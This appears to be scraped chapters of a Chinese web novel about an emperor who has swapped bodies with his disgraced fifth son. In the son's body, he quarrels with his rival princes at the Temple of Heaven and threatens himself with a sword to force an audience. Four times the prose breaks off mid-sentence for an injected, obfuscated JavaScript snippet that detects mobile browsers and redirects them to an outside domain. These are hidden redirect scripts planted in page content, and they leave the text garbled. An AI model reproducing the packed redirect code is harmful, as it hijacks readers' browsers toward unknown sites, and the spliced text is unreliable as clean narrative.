周瑜然深了一口气,缓缓跪下来,眼睛直视着万秉德。 见秦王跪下,万秉德暗暗松了口气。开口道:“传圣上口谕,秦王即刻前往天坛,反省自身!” 周瑜然当场气笑了。 说老五蠢吧!好歹能想出用巫术换身子来当皇帝! 说老五聪明?却不会把事情做绝!留下后患! 如果换成梁王等人用这种手段当皇帝,必然要斩草除根,以绝后患! 可事情已经发生了好几天,周安之却一直没有让人以绝后患。 那只能说明一件事——周安之虽然能用巫术互换身子当皇帝,但是却杀不掉周瑜然! 若是如此,周瑜然还是有很大机会夺回自己的身子! 可也不对!纵然杀不了周瑜然,周安之至少也得将周瑜然关押起来,如此才能保证自己稳坐皇位! 越往深处思索,周瑜然越发觉得这件事不对劲。 万秉德见秦王冷笑了一下,之后就开始发愣。 他觉得秦王这个状态有点异常,出声提醒道:“秦王殿下,圣上令您到天坛反省。” 周瑜然回过神来,眼神莫测地盯着万秉德。 现在尚且搞不清楚情况,他只能静观其变。 “儿臣遵旨!”周瑜然冷着脸出声回应。 万秉德吩咐小太监将秦王搀扶起来,送对方出宫的时候,关怀地询问秦王的情况:“秦王殿下为何会变成这般模样?” 回想这几日的遭遇,周瑜然瞬间怒上心头。 他面色发青,没有言语。双手下意识攥成拳头,可手心被缰绳勒出伤口,这一握拳太疼了!拳头还未收拢便散开了! 周瑜然忍不住又在心里大骂一句:废物身子! 见秦王不答,万秉德知道自己打探不出情况,只能沉默地送秦王前往天坛。 上山途中,周瑜然双腿打颤,哪怕他咬牙坚持,可这个娇弱的身子实在是不给力。 又坚持走了一段山路后,周瑜然直接失去了对身子的掌控权。整个人突然栽倒在地。 “秦王殿下!” 看到秦王往山下滚,万秉德惊叫一声,赶紧让人捞住秦王。 万秉德生怕秦王嘎了,轻轻摇晃了几下对方的身子。 见秦王闭着双眼,一副昏厥的状态。 万秉德倒是没有怀疑对方是装的,毕竟秦王的双手都是伤口,脸上还有被拳头殴打后留下来的淤青。 这张脸本来就有不少淤青,当下又多了几道新的撞伤,秦王这副血淋淋的模样太惨了! 见秦王还有气息,万秉德只能指挥着人把秦王抬上山。 “慢点儿!二位御医!快瞧瞧秦王!” 梁王、鲁王、赵王在这里跪了三天三夜,被折腾得十分憔悴。 除了梁王跪得还算是笔直,鲁王跟赵王已经跪得歪七扭八了。 乍然听到万秉德的声音,鲁王跟赵王强撑着身子跪好。还没等他们转过头看向来人,就看到好几个人抬着一个人来到前面。 宫人把秦王放在地上后,两位御医立马上前救治秦王。 万秉德看似关注秦王的情况,实则暗中分出心思留意梁王等人的状态。 有御医挡着,梁王、鲁王、赵王根本看不清楚这是谁。 赵王手指着那双满是泥泞的靴子,开口问万秉德:“万少监,这是何人?” 万秉德淡淡地回应道:“秦王。” 赵王:??? 老五回京了? 对于秦王回京,梁王跟鲁王也感到意外。 原本疲惫不堪的三人,当即打起精神来,注意力集中在秦王身上。 两位御医检查得很仔细,还扒开了秦王的衣服检查。发现对方身上都是淤青,显然是被人毒打过。 两人对视了一眼,开始处理秦王身上的伤口。 等上完药后,两位御医同时后退两步,示意万秉德上前看看秦王的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123833|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况。 “秦王殿下一身伤痕,旧伤约是前几日受的,新伤应当是半个时辰前受的。” 万秉德上前看了一眼,果然看到秦王身上有不少淤青,还有刚刚往山下滚落弄出来的新伤。 他微皱眉头,低声问道:“秦王殿下可是受了严重内伤昏迷不醒?” “秦王只是受了一些皮外伤,新伤旧伤都伤得不重。由于精气耗尽,筋疲力竭昏了过去。并无大碍,待休息够了自然能醒来。” 得知秦王没有大碍,万秉德轻轻颔首。 梁王跪在正中间,能够清楚地看到秦王的模样。 他心里疑惑秦王究竟遭遇了什么!变得这么惨! 鲁王与赵王分别跪在梁王的左右。 以鲁王的角度虽然看不清秦王的脸,但是能够看到秦王身上的伤口。 此时他也在思索秦王到底遭遇了什么事。 秦王好歹是个藩王!除了皇帝,谁敢对藩王动手? 赵王努力伸着脖子往前瞅,看到秦王伤成这样,下意识发出‘啧啧’的声音。 语气里带着毫幸灾乐祸,他问万秉德:“五弟被何人伤成这样!” 万秉德将他们的反应都看在眼里。没有回答赵王,而是宣读了皇帝的口谕。 宣读完皇帝的口谕后,万秉德叮嘱两名御医照顾好秦王,待秦王醒来再通知他。 随后万秉德便离开天坛,回宫复命。 兄弟四人,三人跪着,一人躺着。 多了个秦王之后,赵王觉得有话题可以聊了。特地拿秦王作为谈资,勾着梁王跟鲁王说话。 “大哥、二哥,你们不好奇老五这一身伤是怎么来的吗?” 在大月,除了皇帝下令之外,还有何人敢动手殴打藩王?因而赵王猜测秦王的伤是皇帝让人打的! 梁王做事谨慎,说话之前必当三思之后又三思。 对于赵王提出来的话题,他并不打算参与。 鲁王知道赵王想聊什么,声音沙哑地反问对方:“难道三弟知晓五弟的伤是怎么来的?” 见梁王并无开口说话的意思,鲁王虽然说话了,但是话里有坑人的嫌疑。 刚冒出来的那一点儿聊天的兴致顿时减退一半。赵王只能言道:“我一直跪在这里,怎会知晓老五的伤是从哪来的?等他醒来,问问不就知晓了?” 鲁王翻了个白眼,没有理会赵王。 赵王又恢复了死气沉沉的状态,歪七扭八地跪着。 这双腿跪了三日三夜,再这么跪下去怕是要废了。再看秦王就这么舒舒服服地躺在前面。心中倏然冒出一股恶意,赵王出声喊道:“五弟!五弟!醒醒!” 梁王与鲁王瞧不上赵王阴暗的小心思。二人同时露出讥讽的神色,目光鄙夷地盯着赵王。 在梁王跟鲁王看来,秦王独来独往就是个废物。对他们没有任何威胁。 一旦任何一方势力拉拢秦王,他们自然得警惕起来。 无论赵王是真心关怀秦王,还是故意弄醒秦王打探消息。只要赵王有亲近秦王的举动,梁王跟鲁王必须得出手压制! 梁王皱着眉头,用警告的眼神盯着赵王。 鲁王直接出声呵斥道:“五弟在休息,你吵什么!” 赵王不高兴地指着秦王说道:“大哥、二哥,你们看到五弟伤成这样,漠不关心就罢了!还要阻止我关怀五弟!我倒要问问你们这是何意!” 见他们用这种眼神盯着自己,赵王心里的恶意进一步升级,继续对秦王喊道:“五弟!大哥二哥都很关心你!你快醒醒吧!他们想知道你身上的伤从哪来的!” 梁王:…… 鲁王:…… 老三这个狗东西!嘴巴真是欠收拾! 17.第 17 章 第十七章虚情假意 “这么多兄弟中,唯有我是真心关怀五弟的!” “你?不过是为了拉拢五弟,帮你夺嫡罢了!虚情假意,也配谈真心!” “二哥当真是冤枉我了!” 争吵声不断传入周瑜然耳中,让他感到头疼欲裂。烦躁地张开嘴吼道:“闭嘴!” 乍然听到秦王的声音,跪着的三个人立马将视线投到前方。 见秦王醒了,赵王更来劲儿了,精神抖擞地喊道:“五弟!你可算是醒了!看到你身上有这么多伤口,三哥真是担忧极了!” 周瑜然面色阴沉地睁开眼睛。 环顾周遭,看到梁王、鲁王、赵王这三张脸,再抬起手看到伤口,见一切还没有恢复原样。他的心情堪比辛苦烤了一个小时的羊腿。好不容易烤好了,将羊腿送到嘴边的时候,结果烤羊腿就被一条突然出现的狗叼走了! 当下的遭遇,让他难受得想杀人! 梁王与鲁王可不想让赵王这张贱嘴胡说八道。 梁王一脸正色地出声说话:“五弟,你感觉如何?若是哪里疼痛,大哥将御医叫过来给你瞧瞧。” 鲁王紧接着对秦王说:“五弟,放心吧!御医说了你并没有受到内伤。只要好好休养,过几日就能活蹦乱跳了。” 赵王见他们抢着表现,阴阳怪气地言道:“大哥、二哥,五弟昏迷之时你们一脸冷漠,甚至还见不得我关心五弟!现在五弟醒了,你们倒是开始表现关怀了!” 本来周瑜然的心情就很糟糕,现在面对这三个糟心的儿子,听他们叽叽喳喳地争吵不休,当即就烦躁地出声吼道:“闭嘴!” 梁王眼神淡淡地看着秦王。 鲁王微皱眉头,露出不悦地神色。 赵王也有些不高兴了。但还是选择故意装傻,指着梁王跟鲁王说道:“瞧瞧,大哥、二哥,你们都把五弟惹急了!” 梁王目光淡漠地斜视赵王。 鲁王冲赵王冷笑一声。 到底是谁把秦王吵醒的自己没点逼数!老三这个不要脸的玩意儿!还在这里倒打一耙! 周瑜然见老三还嘚嘚嘚地说个没完,阴着脸冲他斥道:“闭嘴!” 见状,梁王跟鲁王似笑非笑地看着赵王。 赵王也是要面子的!尤其是在梁王跟鲁王面前,他更是在意自己的面子! 被秦王针对性的吼了一句,他的脸色顿时拉下来了,不高兴地指责起来:“五弟,许久不见。哥哥们看到你一身伤,对你这般关怀,你却如此无礼?怎么,在外面待了两年连宫里的规矩都不懂了!没大没小!一点礼数都没有!” 往日里这三个儿子在自己面前屁都不敢大声放,现在周瑜然换了身子变成秦王之后,连带着这三个儿子都敢欺压到他头上了!竟敢用这种语气跟他说话! 这是赵王第一次看到秦王露出这种眼神,这份阴鸷与父皇那个老不死的如出一辙!乍一看,还怪吓人的! 赵王咽了咽口水,继续理直气壮地指责秦王:“又不是我把你弄成这样的,我关心你还有错了?你忘了过去自己没钱花的时候,从我这里借走多少银子?当真是个白眼狼!” 发现秦王是个借钱不还钱的无赖后,后面赵王就长记性了。凡是借给秦王的钱,他都记账了! 先前赵王拉拢秦王不成,只能拿出过去的账本来威胁秦王替他办事。 可秦王这个混不吝的,厚颜无耻!压根不知道脸皮为何物! 哪怕看到账本,秦王也不认账!甚至还倒打一耙说赵王记假账冤枉他! 这可把赵王气得够呛!他倒是让人威胁过秦王,可还没真动手呢!秦王就到处嚷嚷赵王蓄意谋杀手足! 造谣一张嘴,辟谣跑断腿!赵王那段时间到处跟别人解释,可他解释的速度根本赶不上秦王造谣的速度。 最后皇帝嫌这两个儿子丢人现眼,将赵王跟秦王训斥了一顿。 总之,论厚颜无耻,秦王称第二,没人敢称第一! 赵王的声音不断传入周瑜然的耳中,让他脑子嗡嗡疼痛。 气得周瑜然直接从地上爬起来,朝赵王走去。抬起脚踹向对方的肩头。 其实周瑜然现在能使出来的力道并不大。奈何赵王跪了几天身子实在是疲惫无力。 本就歪七扭八的身子被周瑜然踹了一脚,直接倒在地上。 “老五!你敢打我!你疯了!”赵王脸色大变,又惊又怒地瞪着秦王。 “闭嘴!”周瑜然脚踩在赵王的腿上。 跪了两天,这双腿都没感觉了。如果不是自己长了一双眼睛,赵王还真感觉不到自己的小腿被秦王踩着。 他一脸愤怒地瞪着秦王,大声骂道:“我又没有惹你!你为何要冲我发疯!” 见状,梁王跟鲁王露出诧异的神色。 两人心里暗乐起来,乐见赵王被打。老三这张嘴就该被收拾! 但是作为老大,梁王觉得眼睁睁地看着秦王打赵王也不合适。回头闹到父皇面前,他们都得跟着挨骂。 于是乎,梁王适当地开口劝说道:“五弟,有话好好说,君子动口不动手。” 鲁王忍着笑意,假惺惺的跟着出声劝说起来:“是啊!纵然三弟说话不妥,五弟你也不该动手。” 听到这两个声音,周瑜然猛然转头,眼神阴恻恻地盯着梁王跟鲁王。 梁王:…… 鲁王:…… 老五这是什么眼神! 该不会也要打他们吧! 两人看出秦王的不对劲后,梁王跟鲁王的面色变得十分警惕。 梁王改口说道:“五弟,你先坐下休息。” “对,你先坐下!”鲁王指着梁王前面的空地,也就是先前秦王躺下的地方,企图稳住对方。 周瑜然收起目光,身子踉踉跄跄回到刚才躺下的地方坐下。 他用阴暗的眼神扫过梁王、鲁王、赵王的脸。心里思索老五那个混账为何要把他们这几个人凑在一起。 赵王爬起来后躲到了梁王的身后。压低声音说道:“老五疯了。一看就不正常!” 听到赵王所言,梁王的眼角抽搐起来,如果后脑此时多长出一双眼睛,他必然要瞪一下赵王。 明知道老五的状态不对劲,还要刺激对方!老三这一脚真是没白挨! 鲁王看热闹不嫌事大,故意将赵王的低声嘀咕大声告诉秦王:“五弟,三弟说你疯了,不正常。” 鲁王的声音打断了周瑜然的思绪。 脑袋突突疼痛,他阴着脸盯着鲁王,咬牙斥道:“闭嘴!” 这一个个逆子,都惦记着他的皇位!没一个好玩意儿! 鲁王:…… 他瞬间就get到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137025|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵王的不满。也不知道老五哪来的胆子敢用这种呵斥的口吻跟他们说话! 但是有赵王被踹在前,鲁王可不想被秦王踢一脚,纵然心里不悦,也只能暂时忍下。 见秦王冲鲁王呵斥,赵王顿时就乐了。 盼望着鲁王能继续张嘴刺激秦王,然后也挨秦王踹上几脚。 可谁知鲁王只是脸色微变,却抿着嘴巴不语! 老二这个怂货!连老五都不敢得罪! 赵王回头冲鲁王鄙夷地翻了白眼。 鲁王直接无视赵王,连余光都不留给对方。目光越过梁王,打量着秦王。 老五这个状态很不对劲,到底经历了什么。 梁王等了一会儿,见身后的两个弟弟都不吭声。 作为老大,他只能主动开口关怀秦王的状态:“五弟,你为何会变成这般模样?” 周瑜然刚找回思路,再次被人打断。登时黑着脸,冲梁王怒斥一声:“闭嘴!” 这三个逆子是想气死他不成! 让他们住口,一个比一个能说! 都怪老五这个废物,没有任何威严! 以致于现在周瑜然用秦王的身子,没人将秦王说的话当回事! 梁王:…… 他皱着眉头,目光不悦地盯着秦王。 赵王发现秦王并非是针对他一人后,心里已经平衡了。 听到秦王吼梁王,赵王还偷笑了一下。 期待梁王能继续开口数落秦王,然后也挨上秦王的一脚! 可惜啊,梁王跟鲁王一样,没再继续作声。 这两个怂货!老五让他们闭嘴,还真闭嘴了! 鲁王见秦王平等的吼了他们三个人。心里那一点不爽也消失了。 周瑜然越看这三张脸心里越发烦躁,忍着浑身疼痛,他站起来往外走。 见秦王要走,赵王下意识出声说道:“五弟,父皇口谕,令你待在天坛自省!” 无视赵王的声音,周瑜然踉踉跄跄地往外走。 赵王无语地伸手戳了戳梁王的后背,低声问道:“老五这算是抗旨吧?” 梁王转头,眼神嫌弃地瞥了眼赵王,冷淡地言道:“回你的位置跪好。” 赵王一脸不满地瞪着梁王,该管的不管,不该管的倒是挺能显摆!除了端着大哥的架子,梁王干过哪一件符合长兄身份的正事? 若是梁王坐上皇位,那他们哥几个人都得头落地! 想到那个血腥的场面,赵王看梁王的眼神充满了敌意。 他阴阳怪气地怼道:“大哥,老五的状态不对劲。你就这么眼睁睁地看着他找死?也不劝阻劝阻,你实在是太冷血了!” 往日里有小弟在身边,有人替他们出声吵架。梁王跟鲁王端着身份即可。 现在静王等人都不在身边,梁王被赵王指责,当即脸色就不好看了。 他沉着脸,复述了一遍万秉德留下来的口谕内容。然后重点强调:“父皇令五弟在天坛自省,可没有说要求五弟跪着自省多长时间。” 赵王:…… 他爹的!还真是! 赵王满脸不爽地低声发泄怨气:“凭什么我们要跪七日七夜,老五在这里歇一会儿就能走了!” 梁王跟鲁王面无表情,没有理会赵王。 他们当下在认真思索秦王的异样。 18.第 18 章 第十八章 万秉德回到万岁殿,看到李正喜跟曹望正在低声交流。故意轻声走过去,想听听这二人在谈论什么。 “尤其是夜里,若是听到陛下惊呼,无陛下召唤不得踏入内室……”李正喜交代到这里,敏感地察觉到什么,倏地转头看向身后。 多年来的戒备,让李正喜早就练就了一身警惕。感觉背后有股阴气在逼近!果然身后有人! 被李正喜发现了,万秉德从容自若地笑着打招呼:“李掌印。” 李正喜面色淡淡地点头。 万秉德也不好多说什么,只能言道:“小的进去复命。” “嗯。”李正喜漫不经心地点头。 万秉德走到寝殿门口,开口叫道:“陛下,奴婢万秉德特来复命。” “进。”里边传来皇帝的回复。 在万秉德弯着腰走进屋后,李正喜手指着那边,意味深长的对曹望言道:“小曹啊,虽然陛下选你当掌印,你可切莫被好事冲昏了头脑,办事需要谨慎。” “多谢李公公的教导!小的必定将您的话记在心上!” 曹望面色严肃地点头。心里自然清楚现在不是自己得意的时候。只有彻底获得皇帝的信任,他才能坐稳掌印的位置! 方才李正喜将伺候皇帝的经验传给了他,曹望并非全然相信。正式到了御前伺候,曹望只能一步步摸索皇帝的喜怒哀乐以及各种习惯。 万秉德弯着腰走进内室,跪在皇帝面前,将秦王的情况告诉周安之。 “启禀陛下,秦王被拦在甬道里。奴婢携口谕出现后,秦王下跪听旨。其后听从旨意跟随奴婢前往天坛。奴婢瞧着秦王殿下的状态不对劲,询问过其经历了何事。秦王并未回答。” “上山途中秦王晕倒,从台阶栽落,受了一些轻伤。将他送到天坛后,经御医检查秦王身上有多处淤青,还有栽落台阶时受的轻伤,并无大碍。” 闻言,周安之惊讶。 父皇的异样连万秉德都看出来了! 最让周安之意外的是秦王的身子受伤了! 周安之从小到大最是爱惜身子!毕竟是自己用了十几年的身子!现在听说那具年轻的身子受了伤,自然是心疼的! 周安之关切地问道:“秦王可有毁容?” 万秉德:…… 秦王那张脸的确有些惨不忍睹。一脸的淤青,上山时又栽落撞了好几道伤口。万秉德也不敢保证会不会留下伤疤毁容。 心里斟酌了一番后,万秉德慢吞吞地回答道:“秦王殿下的脸上有些小伤,若是精心养护,应当能养好。” 周安之赶紧言道:“快拿些好药给他用上!” “奴婢遵命!”万秉德颔首。 以前提起秦王,皇帝都是一脸不悦的神色。现在秦王无诏入京,还擅闯皇宫,皇帝不单压下此事保住秦王的性命,还这么关心秦王的身子。着实是让人有些惊讶。 圣心难测,万秉德只能理解为两年不见,皇帝对秦王还是有些许思念的,所以才会如此呵护秦王。 周安之又问道:“梁王他们可还老实?” 父皇回来得太快,周安之压根没想好要如何面对对方。 为了稳坐皇位,而杀了对方,那是不可能的。周安之还想换回自己的身子呢!他对现在的身子可真是万分嫌弃! 哪怕能换回身子,周安之还得提防着换回身子后父皇找他算账! 周安之十分清楚无论他如何解释,父皇都不会相信的。只会认为这一切异样都是周安之在捣鬼! 不换回身子,周安之固然能执掌大权当皇帝,可是这个皇帝当得太累了!还得承受日渐衰老的痛苦! 换回身子,周安之必然遭受周瑜然的清算。轻则囚禁余生,重则立马投胎! 周安之此刻真是头大心烦! 他们父子二人是在同一天发生天狗吞日跟七星连珠的异象后才互换身子的。说到底,能不能换回身子全看天意! 其实派万秉德去传口谕的时候,周安之就发现自己做错了。他不应该让父皇去天坛的!应该将父皇单独安排到天水寺那边!把父皇跟梁王他们安排在一起,也不知道会不会出大事! 万秉德就知道皇帝会询问梁王等人的情况,恭敬地回答道:“梁王、鲁王、赵王遵从皇命跪在天坛里。对于秦王,他们十分关怀。” 这个‘关怀’就看皇帝自己怎么理解了。这三位皇子,尚且没有分出胜负之前,万秉德说话谨慎,可不会得罪任何一方势力。他可不会将赵王的幸灾乐祸如实说出。 周安之思量片刻,告诉万秉德:“让人留意秦王的情况。” 万秉德诧异,结合皇帝先前对秦王的关怀,将皇帝的意思理解成是派人去照顾秦王。低头回应道:“奴婢遵命!” “小七那边初摄六宫事,留心一下。”周安之可不会明着让万秉德协助永和公主管理后宫。 “奴婢明白!”万秉德颔首。 周安之对他挥手,示意对方退下。 弯着腰退出去,临近门口的时候万秉德才站直身子。 见万秉德出来,曹望对里边喊道:“陛下,可要奴婢伺候?” 万秉德眼神警惕地盯着曹望。姓曹的往日可是恪守规矩的!现在竟然越过李正喜旺御前凑!这是当李正喜死了吗? 万秉德转头扫了眼院子,哪里有李正喜的身影?今日李正喜到底在忙什么?总是消失。 “进。”屋内传来了周安之的声音。 曹望没有跟万秉德对视,弯着腰走进去。 万秉德眯着眼睛,目光深邃地盯着曹望的身影。心想还是先办正事最为重要。 安排了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149356|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的亲信前往天坛那里伺候秦王后,万秉德亲自前往后宫找永和公主了解这两日的情况。 这两日静王等人因为皇子和亲的事弄得心神不宁,他们都不愿意成为那个天选的弃子。 正当他们心烦之时,突然收到消息——秦王回京了! 对于静王等人而言,这可是个好消息啊! 他们迫不及待地安排人去打探宫里的情况,只知晓秦王一身狼狈的闯入宫中,还没见到皇帝就被口谕弄到了天坛那边。 静王跟燕王聚在一起商讨当下的情况。 燕王道:“老五到底是何情况?也不知是父皇召他回京,还是他自己回来的。” 静王摇头:“这不是重点。重点是他是提刀擅闯皇宫的!这可是大罪!” 燕王接着说:“所以他被父皇赶去天坛那里跪着领罚了!父皇算是轻饶了他!” 不对!话题怎么偏了!他们最关注的明明是皇子和亲的事!燕王掰正话题:“老五此番回京太巧了,不知是否与和亲有关。其实最应该被送去和亲的人就是老五!” 静王颔首,可想到父皇的态度,皱着眉头言道:“看父皇的态度,压根没考虑送老五去和亲!” 两人嘀嘀咕咕的谈论了许久,最后思绪仍然是一团糟。梁王不在,他们也不知道该如何是好。还是等梁王回来再说吧! 此时韩王与魏王自然也得知了秦王回京的消息。 秦王回京,还擅闯皇宫,这可是大事!既然宫里打探不出具体的情况,韩王索性派人去沧州打探秦王府那边究竟发生了什么事。 魏王坐在铜镜前,一脸烦躁的对着铜镜里的喃喃自语:“现在老五回来了,三哥必然还会继续拉拢他。毕竟老五背后有霍家军。” 虽然秦王是个废物,但是对方身上终究流着一半的霍家血。只要秦王肯干事业,必然能够拉霍家军进来参与夺嫡! 这也是赵王为何明知秦王是个混不吝的,却还要宁可冒着被骗钱的风险坚持多次拉拢秦王的原因。 魏王的生母已经不在人世,他自小就被宁妃抚养。魏王的外祖家不过是一方知县,能给赵王提供的帮助实在是太少了。若是赵王真能成功拉拢到秦王加入他们阵营里。魏王必然会被秦王踩下去! 一直以来,魏王心里特别矛盾。从大局的利益考虑,他甚至有了秦王的加入,能够大力帮助赵王夺嫡取胜。从个人利益考虑,魏王担心秦王加入赵王的阵营后,自己会从二把手变成三把手! 当初秦王离开京城就藩,除了梁王党与鲁王党外,魏王也松了口气。 现在秦王一声不吭的跑回京城,魏王再一次陷入以前那种焦虑中。 要是能把秦王送去和亲就好了! 想到这里,魏王心里更难受了。抓着头发呐喊起来:“为何父皇就偏不选老五去和亲!” 19.第 19 章 第十九章啥也不是 周瑜然一连打了好几个喷嚏,整个人无力地倒在地上。 右天坛尉一直跟在秦王的身后,见到秦王忽然倒下,他赶紧上前搀扶。 “秦王殿下,还是回里边歇息吧!” 周瑜然被右天坛尉搀扶起来后,甩开对方的手,撑着身子坐在石墩上。 从天坛里走出来看到外边有禁军把守,周瑜然沉着脸试着往外走。还没走到下山道口,就被禁军拦住了。 面色阴沉地围绕着天坛转了一圈,周瑜然暗中观察天坛这里究竟安排了多少禁军。 估摸了一个数字后,周瑜然心中了然。 发生天狗吞日后,他当即在朝堂上重重训斥了参政的皇子无德,将他们赶到天水寺抄经反省。还特地安排了五百禁军守在天水寺那边看着那七个儿子。 现在龙体被夺舍之后,周安之将梁王等人弄到了天坛这里罚跪。连带着这五百名禁军一并守在天坛这里。 在周瑜然看来,周安之这一步步走的全都是臭棋! 既要夺舍龙体坐在皇位,那就得以绝后患。 可周安之既不敢杀人,又不敢囚禁,更不敢面对。而是直接将周瑜然弄到天坛里,让周瑜然跟梁王等人待在一起。 周瑜然真是不懂周安之这个孽障脑子里在琢磨什么! 从小到大,老五这个废物干啥啥不行,尽整出那些丢人现眼的事情! 有时候周瑜然甚至冒出疑惑:难不成真是生产的时候下多了药,导致老五的脑子出了问题? 时至今日周瑜然心里都没有个准确的答案。 面对当下的处境,周瑜然想要夺回龙体,必须得先见到周安之。在此之前,他得打听清楚近几日宫里的变动。先了解老五那个混账抢夺龙体后都做了些什么事。 问梁王等人,必然问不出几个屁来。周瑜然只能向右天坛尉打听:“梁王、鲁王、赵王为何会跪在天坛里?” 明明周瑜然已经将七个皇子赶去天水寺抄经自省。为什么老五那个孽障独独将梁王、鲁王、赵王弄到天坛罚跪。 右天坛尉面色犹豫,觉得秦王既然回京必然清楚了一些情况。之所以开口问他,不过是为了得到更准确的消息。 他含含糊糊地回答道:“听说是陛下的旨意。陛下颁《罪己诏》后,令梁王、鲁王、赵王来天坛跪七日七夜。” 闻言,周瑜然的脸色瞬间大变,激动地站起来,怒问:“什么!他竟敢颁《罪己诏》” 老五这个孽障!真是狗胆包天!不单敢抢夺他的龙体当皇帝!还敢替他颁布《罪己诏》 一想到自己辛苦奋斗大半辈子,一世圣名毁在了一道《罪己诏》上,周瑜然气得想杀人! 右天坛尉见秦王乍然激动,说话有点癫癫的,默默后退了两步,低声说:“四月初一午后发生天狗吞日,当夜丑时发生七星连珠。大月上下惊恐,群臣入宫劝说圣上下《罪己诏》以熄天怒。秦王殿下刚回京城,想必不知晓前几日宫里的情况……” 还以为秦王问他这些事是为了验证消息真假,谁知对方是毫不知情啊! 周瑜然气得抡起拳头,想要砸向石柱。可手心的伤口太疼了,身子比大脑更为冷静,这手伸出去后迟迟触碰不到石柱。就这么硬生生的僵在半空中。 深吸了好几口气,周瑜然的手再次攥成拳头。手心再次经历撕裂,鲜红的血从指缝里流出来,滴落到地上。 周瑜然愤恨地怒甩一下长臂,转身满脸阴沉地盯着右天坛尉,咬牙切齿地问道:“除此之外,他还做了什么!” 秦王说话的口吻对皇帝也太不敬了! 右天坛尉心里惶恐,不敢继续跟对方交谈宫里的信息,再次劝说道:“秦王殿下,您的手流血了,还是回里边歇息吧?下官让御医给您包扎好伤口!” 周瑜然眼神阴狠地盯着右天坛尉,逼问道:“本文问你话!还不如实交代!” 右天坛尉被秦王的眼神吓到了,总感觉对方下一秒可能会杀了他。 苦着脸后退几步,他无奈地回答道:“下官一直守在天坛,如何知晓宫中的其他情况?” “废物!” 周瑜然这话也不知道是在骂谁。 秦王说话的时候已经转移了视线,不再关注右天坛尉。让右天坛尉松了口气,默默地翻了白眼。心里不禁嘀咕起来:到底谁才是废物啊! 众多皇子当中,秦王可是公认的废物皇子! 其他皇子每每谈论到秦王都是鄙夷的模样,涉及到秦王的话题皇帝更是直接跳过不愿意提起这个废物儿子。 知道周安之下了《罪己诏》后,周瑜然心里的怒火再也压制不住。 周安之避而不见,周瑜然只能用狠手段逼对方见面! 看到秦王往前走,右天坛尉心里纠结要不要跟过去。然后就看到对方走到其中一名禁军身旁突然拔刀! 周瑜然浑身没劲,单手抢走绣春刀后,险些握不住。匆忙用两只手握住刀柄,才堪堪将绣春刀举起来,费力的架在自己的脖子处。 这一幕让在场众人目瞪口呆! “秦王殿下!” 右天坛尉吓得脸色发白,秦王这是发什么疯!好好地拿刀架在自己的脖子上是要做什么! “本王要入宫!” 周瑜然笃定老五那个孽障不敢杀他,目前不得不用这种方式约束他的自由。 对方越是避而不见,他越得逼对方见面! “秦王殿下,您冷静冷静!先把刀放下,莫要伤了自己!” “萧鹤!萧鹤!出大事了!快出来!” 一边劝说秦王,右天坛尉同时将左天坛尉叫出来帮忙。 左天坛尉在里边看着梁王等人,听到外面的惊叫声,赶紧出去瞧瞧。 赵王诧异地望着外边,出声说道:“出事了?” 梁王与鲁王也在意外面发生了什么事。但是两人没有开口说话。 赵王见他们不为所动,当下也没人看着他们了,索性爬起来,想出去看看外面发生了什么事。 奈何一双腿早就跪得没有知觉了。站起来全然忘了怎么走路。 赵王只能抓着一把椅子撑着身子,踉踉跄跄地往外走。 见状,鲁王也跟着爬起来。站起来那瞬间身子骤然往前栽倒,直接压在了正要起身的梁王身上。 “你作甚!”梁王恼怒地呵斥鲁王。 压在梁王身上,鲁王本来有些不好意思的,被梁王骂了一句,顿时不高兴地说道:“多谢大哥搀扶!” 这一句话直接将梁王的怒火堵在口中发泄不出来。梁王只能黑着脸将鲁王搀扶起来。两人皆是一副不满的表情,彼此相互搀扶着往外走。 赵王走到门口,听到里边的动静,特地回头看了眼身后。 见老大跟老二这么亲密,还相互搀扶,这兄友弟恭的一幕刺痛了他的眼睛。 赵王立马阴阳怪气地讥讽道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159145|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 